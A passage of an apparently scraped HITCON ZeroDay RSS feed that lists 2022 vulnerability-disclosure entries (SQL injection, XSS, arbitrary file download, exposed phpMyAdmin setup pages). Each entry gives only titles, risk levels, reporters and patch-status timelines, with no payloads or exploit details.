      某單位  資料庫注入漏洞
     </span>
    </li>
    <li class="intro">
     <span class="label">
      Introduction:
     </span>
     <span class="value">
      SQLi
     </span>
    </li>
   </ul>
  </div>
 </section>
 <section class="vul-detail-section">
  <h3 class="sec-title">
   處理狀態
  </h3>
  <div class="section-content status">
   <h4 class="always-not-there">
    目前狀態
   </h4>
   <div class="status-label col-status-200-tx">
    修補中
   </div>
   <div class="status-descr">
    Last Update : 2022/10/13
   </div>
   <ul class="zdui-status-timeline stat-tn-risk-high">
    <li class="">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       新提交
      </span>
     </div>
    </li>
    <li class="">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       已審核
      </span>
     </div>
    </li>
    <li class="">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       已通報
      </span>
     </div>
    </li>
    <li class="just-arrived arriving">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       修補階段
      </span>
     </div>
    </li>
    <li class="not-arrived-yet">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       未複測
      </span>
     </div>
    </li>
    <li class="not-arrived-yet">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       公開
      </span>
     </div>
    </li>
   </ul>
   <h4 class="always-not-there">
    處理歷程
   </h4>
   <div class="status-log" data-label-expand="點此顯示完整的處理歷程" data-label-fold="收合完整歷程" onclick="onClickToggleVulStatLog(event)">
   </div>
   <ul class="status-log-list" id="vul-status-log-list">
    <li>
     <span class="log-date">
      2022/09/29 14:34:16
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      新提交 (由 7a6163 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/10/02 01:50:04
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/10/12 22:08:54
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/10/12 22:08:54
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/10/12 22:08:54
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/10/13 18:56:00
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/10/13 18:56:00
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/10/13 18:56:00
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
     </span>
    </li>
   </ul>
  </div>
 </section>
 <section class="vul-detail-section">
  <h3 class="sec-title">
   詳細資料
  </h3>
  <div class="section-content info">
   <ul>
    <li>
     ZDID：ZD-2022-00816
    </li>
    <li>
     通報者：7a6163 (
     <a href="/user/7a6163">
      7a6163
     </a>
     )
    </li>
    <li>
     風險：高
    </li>
    <li>
     類型：資料庫注入攻擊 (SQL Injection)
    </li>
   </ul>
  </div>
 </section>
 <section class="vul-detail-section vu-d-cmnt">
  <h3 class="sec-title">
   留言討論
  </h3>
  <div class="section-content">
   <div class="zdui-comment-block">
    <div class="comments-block" id="comments_block">
    </div>
    <div class="login-and-comment">
     <a href="/auth/login">
      登入後留言
     </a>
    </div>
   </div>
  </div>
 </section>
</div>
</description><pubDate>Thu, 29 Sep 2022 14:34:16 GMT</pubDate></item><item><title> 某單位 、xss</title><link>https://zeroday.hitcon.org/vulnerability/ZD-2022-00833</link><description><div class="container">
 <h2 class="always-not-there">
  Vulnerability Detail Report
 </h2>
 <section class="vul-detail-section overview">
  <h3 class="always-not-there">
   Vulnerability Overview
  </h3>
  <div class="section-content overview">
   <ul>
    <li class="zdid col-risk-low-pseud-b">
     <span class="label">
      ZDID:
     </span>
     <span class="value">
      ZD-2022-00833
     </span>
    </li>
    <li class="title">
     <span class="label">
      Title:
     </span>
     <span class="value">
      某單位 、xss
     </span>
    </li>
    <li class="intro">
     <span class="label">
      Introduction:
     </span>
     <span class="value">
      xss
     </span>
    </li>
   </ul>
  </div>
 </section>
 <section class="vul-detail-section">
  <h3 class="sec-title">
   處理狀態
  </h3>
  <div class="section-content status">
   <h4 class="always-not-there">
    目前狀態
   </h4>
   <div class="status-label col-status-200-tx">
    修補中
   </div>
   <div class="status-descr">
    Last Update : 2022/10/13
   </div>
   <ul class="zdui-status-timeline stat-tn-risk-low">
    <li class="">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       新提交
      </span>
     </div>
    </li>
    <li class="">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       已審核
      </span>
     </div>
    </li>
    <li class="">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       已通報
      </span>
     </div>
    </li>
    <li class="just-arrived arriving">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       修補階段
      </span>
     </div>
    </li>
    <li class="not-arrived-yet">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       未複測
      </span>
     </div>
    </li>
    <li class="not-arrived-yet">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       公開
      </span>
     </div>
    </li>
   </ul>
   <h4 class="always-not-there">
    處理歷程
   </h4>
   <div class="status-log" data-label-expand="點此顯示完整的處理歷程" data-label-fold="收合完整歷程" onclick="onClickToggleVulStatLog(event)">
   </div>
   <ul class="status-log-list" id="vul-status-log-list">
    <li>
     <span class="log-date">
      2022/10/03 02:00:39
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      新提交 (由 鄉民 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/10/05 00:48:16
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/10/12 22:25:00
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/10/12 22:25:00
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/10/13 10:45:18
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      修補中 (由 組織帳號 更新此狀態)
     </span>
    </li>
   </ul>
  </div>
 </section>
 <section class="vul-detail-section">
  <h3 class="sec-title">
   詳細資料
  </h3>
  <div class="section-content info">
   <ul>
    <li>
     ZDID：ZD-2022-00833
    </li>
    <li>
     通報者：鄉民
    </li>
    <li>
     風險：低
    </li>
    <li>
     類型：基於 DOM 的 XSS (DOM-based Cross-Site Scripting)
    </li>
   </ul>
  </div>
 </section>
 <section class="vul-detail-section vu-d-cmnt">
  <h3 class="sec-title">
   留言討論
  </h3>
  <div class="section-content">
   <div class="zdui-comment-block">
    <div class="comments-block" id="comments_block">
    </div>
    <div class="login-and-comment">
     <a href="/auth/login">
      登入後留言
     </a>
    </div>
   </div>
  </div>
 </section>
</div>
</description><pubDate>Mon, 03 Oct 2022 02:00:39 GMT</pubDate></item><item><title> 某單位 亞洲大學IGOT 系統 SQL Injection注入</title><link>https://zeroday.hitcon.org/vulnerability/ZD-2022-00824</link><description><div class="container">
 <h2 class="always-not-there">
  Vulnerability Detail Report
 </h2>
 <section class="vul-detail-section overview">
  <h3 class="always-not-there">
   Vulnerability Overview
  </h3>
  <div class="section-content overview">
   <ul>
    <li class="zdid col-risk-high-pseud-b">
     <span class="label">
      ZDID:
     </span>
     <span class="value">
      ZD-2022-00824
     </span>
    </li>
    <li class="title">
     <span class="label">
      Title:
     </span>
     <span class="value">
      某單位 亞洲大學IGOT 系統 SQL Injection注入
     </span>
    </li>
    <li class="intro">
     <span class="label">
      Introduction:
     </span>
     <span class="value">
      攻擊者可利用該漏洞取得後端資料庫權限及完整資料（包含大量使用者個資或敏感性資料），同時也有機會對資料進行破壞或修改。  漏洞說明： OWASP - SQL Injection https://www.owasp.org/index.php/SQL_Injection  漏洞說明： OWASP - Top 10 - 2017 A1 - Injection https://www.owasp.org/index.php/Top_10-2017_A1-Injection  漏洞說明： CWE-89: Impro
     </span>
    </li>
   </ul>
  </div>
 </section>
 <section class="vul-detail-section">
  <h3 class="sec-title">
   處理狀態
  </h3>
  <div class="section-content status">
   <h4 class="always-not-there">
    目前狀態
   </h4>
   <div class="status-label col-status-200-tx">
    已修補
   </div>
   <div class="status-descr">
    Last Update : 2022/10/13
   </div>
   <ul class="zdui-status-timeline stat-tn-risk-high">
    <li class="">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       新提交
      </span>
     </div>
    </li>
    <li class="">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       已審核
      </span>
     </div>
    </li>
    <li class="">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       已通報
      </span>
     </div>
    </li>
    <li class="just-arrived">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       已修補
      </span>
     </div>
    </li>
    <li class="not-arrived-yet">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       未複測
      </span>
     </div>
    </li>
    <li class="not-arrived-yet">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       公開
      </span>
     </div>
    </li>
   </ul>
   <h4 class="always-not-there">
    處理歷程
   </h4>
   <div class="status-log" data-label-expand="點此顯示完整的處理歷程" data-label-fold="收合完整歷程" onclick="onClickToggleVulStatLog(event)">
   </div>
   <ul class="status-log-list" id="vul-status-log-list">
    <li>
     <span class="log-date">
      2022/09/30 10:42:06
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      新提交 (由 閃電哈士奇 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/09/30 10:43:10
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      新提交 (由 閃電哈士奇 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/09/30 14:00:38
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      新提交 (由 閃電哈士奇 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/10/02 08:17:03
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      新提交 (由 閃電哈士奇 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/10/03 00:42:56
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/10/12 22:20:20
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/10/12 22:20:20
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/10/12 22:20:20
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/10/13 08:06:55
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      已修補 (由 組織帳號 更新此狀態)
     </span>
    </li>
   </ul>
  </div>
 </section>
 <section class="vul-detail-section">
  <h3 class="sec-title">
   詳細資料
  </h3>
  <div class="section-content info">
   <ul>
    <li>
     ZDID：ZD-2022-00824
    </li>
    <li>
     通報者：lawrence1118 (
     <a href="/user/lawrence1118">
      閃電哈士奇
     </a>
     )
    </li>
    <li>
     風險：高
    </li>
    <li>
     類型：資料庫注入攻擊 (SQL Injection)
    </li>
   </ul>
  </div>
 </section>
 <section class="vul-detail-section vu-d-cmnt">
  <h3 class="sec-title">
   留言討論
  </h3>
  <div class="section-content">
   <div class="zdui-comment-block">
    <div class="comments-block" id="comments_block">
    </div>
    <div class="login-and-comment">
     <a href="/auth/login">
      登入後留言
     </a>
    </div>
   </div>
  </div>
 </section>
</div>
</description><pubDate>Fri, 30 Sep 2022 10:42:06 GMT</pubDate></item><item><title> 某單位 phpmyadmin設定頁面未關</title><link>https://zeroday.hitcon.org/vulnerability/ZD-2022-00857</link><description><div class="container">
 <h2 class="always-not-there">
  Vulnerability Detail Report
 </h2>
 <section class="vul-detail-section overview">
  <h3 class="always-not-there">
   Vulnerability Overview
  </h3>
  <div class="section-content overview">
   <ul>
    <li class="zdid col-risk-high-pseud-b">
     <span class="label">
      ZDID:
     </span>
     <span class="value">
      ZD-2022-00857
     </span>
    </li>
    <li class="title">
     <span class="label">
      Title:
     </span>
     <span class="value">
      某單位 phpmyadmin設定頁面未關
     </span>
    </li>
    <li class="intro">
     <span class="label">
      Introduction:
     </span>
     <span class="value">
      可直接使用phpmyadmin
     </span>
    </li>
   </ul>
  </div>
 </section>
 <section class="vul-detail-section">
  <h3 class="sec-title">
   處理狀態
  </h3>
  <div class="section-content status">
   <h4 class="always-not-there">
    目前狀態
   </h4>
   <div class="status-label col-status-200-tx">
    審核完成
   </div>
   <div class="status-descr">
    Last Update : 2022/10/12
   </div>
   <ul class="zdui-status-timeline stat-tn-risk-high">
    <li class="">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       新提交
      </span>
     </div>
    </li>
    <li class="just-arrived">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       已審核
      </span>
     </div>
    </li>
    <li class="not-arrived-yet">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       未通報
      </span>
     </div>
    </li>
    <li class="not-arrived-yet">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       未修補
      </span>
     </div>
    </li>
    <li class="not-arrived-yet">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       未複測
      </span>
     </div>
    </li>
    <li class="not-arrived-yet">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       公開
      </span>
     </div>
    </li>
   </ul>
   <h4 class="always-not-there">
    處理歷程
   </h4>
   <div class="status-log" data-label-expand="點此顯示完整的處理歷程" data-label-fold="收合完整歷程" onclick="onClickToggleVulStatLog(event)">
   </div>
   <ul class="status-log-list" id="vul-status-log-list">
    <li>
     <span class="log-date">
      2022/10/12 06:55:27
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      新提交 (由 handsome_boy 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/10/12 22:42:08
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
     </span>
    </li>
   </ul>
  </div>
 </section>
 <section class="vul-detail-section">
  <h3 class="sec-title">
   詳細資料
  </h3>
  <div class="section-content info">
   <ul>
    <li>
     ZDID：ZD-2022-00857
    </li>
    <li>
     通報者：glass860 (
     <a href="/user/glass860">
      handsome_boy
     </a>
     )
    </li>
    <li>
     風險：高
    </li>
    <li>
     類型：不安全的直接存取物件 (Insecure Direct Object References, IDOR)
    </li>
   </ul>
  </div>
 </section>
 <section class="vul-detail-section vu-d-cmnt">
  <h3 class="sec-title">
   留言討論
  </h3>
  <div class="section-content">
   <div class="zdui-comment-block">
    <div class="comments-block" id="comments_block">
    </div>
    <div class="login-and-comment">
     <a href="/auth/login">
      登入後留言
     </a>
    </div>
   </div>
  </div>
 </section>
</div>
</description><pubDate>Wed, 12 Oct 2022 06:55:27 GMT</pubDate></item><item><title> 某單位 網站Reflected Cross-Site Scripting</title><link>https://zeroday.hitcon.org/vulnerability/ZD-2022-00856</link><description><div class="container">
 <h2 class="always-not-there">
  Vulnerability Detail Report
 </h2>
 <section class="vul-detail-section overview">
  <h3 class="always-not-there">
   Vulnerability Overview
  </h3>
  <div class="section-content overview">
   <ul>
    <li class="zdid col-risk-medium-pseud-b">
     <span class="label">
      ZDID:
     </span>
     <span class="value">
      ZD-2022-00856
     </span>
    </li>
    <li class="title">
     <span class="label">
      Title:
     </span>
     <span class="value">
      某單位 網站Reflected Cross-Site Scripting
     </span>
    </li>
    <li class="intro">
     <span class="label">
      Introduction:
     </span>
     <span class="value">
      Reflected Cross-Site Scripting in Query String
     </span>
    </li>
   </ul>
  </div>
 </section>
 <section class="vul-detail-section">
  <h3 class="sec-title">
   處理狀態
  </h3>
  <div class="section-content status">
   <h4 class="always-not-there">
    目前狀態
   </h4>
   <div class="status-label col-status-200-tx">
    審核完成
   </div>
   <div class="status-descr">
    Last Update : 2022/10/12
   </div>
   <ul class="zdui-status-timeline stat-tn-risk-medium">
    <li class="">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       新提交
      </span>
     </div>
    </li>
    <li class="just-arrived">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       已審核
      </span>
     </div>
    </li>
    <li class="not-arrived-yet">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       未通報
      </span>
     </div>
    </li>
    <li class="not-arrived-yet">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       未修補
      </span>
     </div>
    </li>
    <li class="not-arrived-yet">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       未複測
      </span>
     </div>
    </li>
    <li class="not-arrived-yet">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       公開
      </span>
     </div>
    </li>
   </ul>
   <h4 class="always-not-there">
    處理歷程
   </h4>
   <div class="status-log" data-label-expand="點此顯示完整的處理歷程" data-label-fold="收合完整歷程" onclick="onClickToggleVulStatLog(event)">
   </div>
   <ul class="status-log-list" id="vul-status-log-list">
    <li>
     <span class="log-date">
      2022/10/11 17:08:11
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      新提交 (由 西門吹雪 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/10/11 17:26:57
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      新提交 (由 西門吹雪 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/10/11 17:29:07
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      新提交 (由 西門吹雪 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/10/12 22:41:37
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
     </span>
    </li>
   </ul>
  </div>
 </section>
 <section class="vul-detail-section">
  <h3 class="sec-title">
   詳細資料
  </h3>
  <div class="section-content info">
   <ul>
    <li>
     ZDID：ZD-2022-00856
    </li>
    <li>
     通報者：Sammydob (
     <a href="/user/Sammydob">
      西門吹雪
     </a>
     )
    </li>
    <li>
     風險：中
    </li>
    <li>
     類型：反射型跨站腳本攻擊 (Reflected Cross-Site Scripting)
    </li>
   </ul>
  </div>
 </section>
 <section class="vul-detail-section vu-d-cmnt">
  <h3 class="sec-title">
   留言討論
  </h3>
  <div class="section-content">
   <div class="zdui-comment-block">
    <div class="comments-block" id="comments_block">
    </div>
    <div class="login-and-comment">
     <a href="/auth/login">
      登入後留言
     </a>
    </div>
   </div>
  </div>
 </section>
</div>
</description><pubDate>Tue, 11 Oct 2022 17:08:11 GMT</pubDate></item><item><title> 某單位  任意檔案下載</title><link>https://zeroday.hitcon.org/vulnerability/ZD-2022-00855</link><description><div class="container">
 <h2 class="always-not-there">
  Vulnerability Detail Report
 </h2>
 <section class="vul-detail-section overview">
  <h3 class="always-not-there">
   Vulnerability Overview
  </h3>
  <div class="section-content overview">
   <ul>
    <li class="zdid col-risk-high-pseud-b">
     <span class="label">
      ZDID:
     </span>
     <span class="value">
      ZD-2022-00855
     </span>
    </li>
    <li class="title">
     <span class="label">
      Title:
     </span>
     <span class="value">
      某單位  任意檔案下載
     </span>
    </li>
    <li class="intro">
     <span class="label">
      Introduction:
     </span>
     <span class="value">
      download.asp 頁面存有任意檔案下載漏洞
     </span>
    </li>
   </ul>
  </div>
 </section>
 <section class="vul-detail-section">
  <h3 class="sec-title">
   處理狀態
  </h3>
  <div class="section-content status">
   <h4 class="always-not-there">
    目前狀態
   </h4>
   <div class="status-label col-status-200-tx">
    審核完成
   </div>
   <div class="status-descr">
    Last Update : 2022/10/12
   </div>
   <ul class="zdui-status-timeline stat-tn-risk-high">
    <li class="">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       新提交
      </span>
     </div>
    </li>
    <li class="just-arrived">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       已審核
      </span>
     </div>
    </li>
    <li class="not-arrived-yet">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       未通報
      </span>
     </div>
    </li>
    <li class="not-arrived-yet">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       未修補
      </span>
     </div>
    </li>
    <li class="not-arrived-yet">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       未複測
      </span>
     </div>
    </li>
    <li class="not-arrived-yet">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       公開
      </span>
     </div>
    </li>
   </ul>
   <h4 class="always-not-there">
    處理歷程
   </h4>
   <div class="status-log" data-label-expand="點此顯示完整的處理歷程" data-label-fold="收合完整歷程" onclick="onClickToggleVulStatLog(event)">
   </div>
   <ul class="status-log-list" id="vul-status-log-list">
    <li>
     <span class="log-date">
      2022/10/11 16:19:34
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      新提交 (由 Wilson Lu 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/10/12 22:41:02
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
     </span>
    </li>
   </ul>
  </div>
 </section>
 <section class="vul-detail-section">
  <h3 class="sec-title">
   詳細資料
  </h3>
  <div class="section-content info">
   <ul>
    <li>
     ZDID：ZD-2022-00855
    </li>
    <li>
     通報者：93wilsonlu (
     <a href="/user/93wilsonlu">
      Wilson Lu
     </a>
     )
    </li>
    <li>
     風險：高
    </li>
    <li>
     類型：任意檔案下載 (Arbitrary File Download)
    </li>
   </ul>
  </div>
 </section>
 <section class="vul-detail-section vu-d-cmnt">
  <h3 class="sec-title">
   留言討論
  </h3>
  <div class="section-content">
   <div class="zdui-comment-block">
    <div class="comments-block" id="comments_block">
    </div>
    <div class="login-and-comment">
     <a href="/auth/login">
      登入後留言
     </a>
    </div>
   </div>
  </div>
 </section>
</div>
</description><pubDate>Tue, 11 Oct 2022 16:19:34 GMT</pubDate></item><item><title> 某單位  Reflected XSS</title><link>https://zeroday.hitcon.org/vulnerability/ZD-2022-00854</link><description><div class="container">
 <h2 class="always-not-there">
  Vulnerability Detail Report
 </h2>
 <section class="vul-detail-section overview">
  <h3 class="always-not-there">
   Vulnerability Overview
  </h3>
  <div class="section-content overview">
   <ul>
    <li class="zdid col-risk-low-pseud-b">
     <span class="label">
      ZDID:
     </span>
     <span class="value">
      ZD-2022-00854
     </span>
    </li>
    <li class="title">
     <span class="label">
      Title:
     </span>
     <span class="value">
      某單位  Reflected XSS
     </span>
    </li>
    <li class="intro">
     <span class="label">
      Introduction:
     </span>
     <span class="value">
      Reflected XSS
     </span>
    </li>
   </ul>
  </div>
 </section>
 <section class="vul-detail-section">
  <h3 class="sec-title">
   處理狀態
  </h3>
  <div class="section-content status">
   <h4 class="always-not-there">
    目前狀態
   </h4>
   <div class="status-label col-status-200-tx">
    審核完成
   </div>
   <div class="status-descr">
    Last Update : 2022/10/12
   </div>
   <ul class="zdui-status-timeline stat-tn-risk-low">
    <li class="">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       新提交
      </span>
     </div>
    </li>
    <li class="just-arrived">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       已審核
      </span>
     </div>
    </li>
    <li class="not-arrived-yet">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       未通報
      </span>
     </div>
    </li>
    <li class="not-arrived-yet">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       未修補
      </span>
     </div>
    </li>
    <li class="not-arrived-yet">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       未複測
      </span>
     </div>
    </li>
    <li class="not-arrived-yet">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       公開
      </span>
     </div>
    </li>
   </ul>
   <h4 class="always-not-there">
    處理歷程
   </h4>
   <div class="status-log" data-label-expand="點此顯示完整的處理歷程" data-label-fold="收合完整歷程" onclick="onClickToggleVulStatLog(event)">
   </div>
   <ul class="status-log-list" id="vul-status-log-list">
    <li>
     <span class="log-date">
      2022/10/11 12:02:44
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      新提交 (由 7a6163 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/10/12 22:40:28
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
     </span>
    </li>
   </ul>
  </div>
 </section>
 <section class="vul-detail-section">
  <h3 class="sec-title">
   詳細資料
  </h3>
  <div class="section-content info">
   <ul>
    <li>
     ZDID：ZD-2022-00854
    </li>
    <li>
     通報者：7a6163 (
     <a href="/user/7a6163">
      7a6163
     </a>
     )
    </li>
    <li>
     風險：低
    </li>
    <li>
     類型：反射型跨站腳本攻擊 (Reflected Cross-Site Scripting)
    </li>
   </ul>
  </div>
 </section>
 <section class="vul-detail-section vu-d-cmnt">
  <h3 class="sec-title">
   留言討論
  </h3>
  <div class="section-content">
   <div class="zdui-comment-block">
    <div class="comments-block" id="comments_block">
    </div>
    <div class="login-and-comment">
     <a href="/auth/login">
      登入後留言
     </a>
    </div>
   </div>
  </div>
 </section>
</div>
</description><pubDate>Tue, 11 Oct 2022 12:02:44 GMT</pubDate></item><item><title> 某單位 phpmyadmin設定頁面未關</title><link>https://zeroday.hitcon.org/vulnerability/ZD-2022-00853</link><description><div class="container">
 <h2 class="always-not-there">
  Vulnerability Detail Report
 </h2>
 <section class="vul-detail-section overview">
  <h3 class="always-not-there">
   Vulnerability Overview
  </h3>
  <div class="section-content overview">
   <ul>
    <li class="zdid col-risk-high-pseud-b">
     <span class="label">
      ZDID:
     </span>
     <span class="value">
      ZD-2022-00853
     </span>
    </li>
    <li class="title">
     <span class="label">
      Title:
     </span>
     <span class="value">
      某單位 phpmyadmin設定頁面未關
     </span>
    </li>
    <li class="intro">
     <span class="label">
      Introduction:
     </span>
     <span class="value">
      內部的setup網頁未關閉
     </span>
    </li>
   </ul>
  </div>
 </section>
